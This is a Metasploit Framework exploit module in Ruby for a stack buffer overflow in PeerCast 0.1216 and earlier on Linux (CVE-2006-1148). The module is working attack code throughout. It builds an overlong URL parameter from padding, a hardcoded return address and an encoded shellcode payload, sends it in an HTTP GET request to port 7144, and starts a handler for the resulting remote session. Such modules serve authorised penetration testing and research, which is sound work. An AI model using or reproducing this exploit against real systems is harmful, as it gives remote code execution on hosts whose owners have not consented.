##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)',
      'Description'    => %q{
        This module exploits a stack overflow in PeerCast <= v0.1216. 
        The vulnerability is caused due to a boundary error within the
        handling of URL parameters.
          
      },
      'Author'         => [ 'MC' ],
      'License'        => BSD_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          ['CVE', '2006-1148'],
            ['OSVDB', '23777'],
          ['BID', '17040'],
          ['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],

        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 200,
          'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
          'MinNops'  => 64,
        },
      'Platform'       => 'linux',
      'Arch'           => ARCH_X86,
      'Targets'        => 
        [
          ['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }],
        ],
      'DisclosureDate' => 'Mar 8 2006'))
      
      register_options( [ Opt::RPORT(7144) ], self.class )
  end

  def exploit
    connect
    
    pat = rand_text_alphanumeric(780)
    pat << [target.ret].pack('V')
    pat << payload.encoded

    uri = '/stream/?' + pat
    
    res = "GET #{uri} HTTP/1.0\r\n\r\n"
    
    print_status("Trying target address 0x%.8x..." % target.ret)
    sock.put(res)
    
    handler
    disconnect
  end

end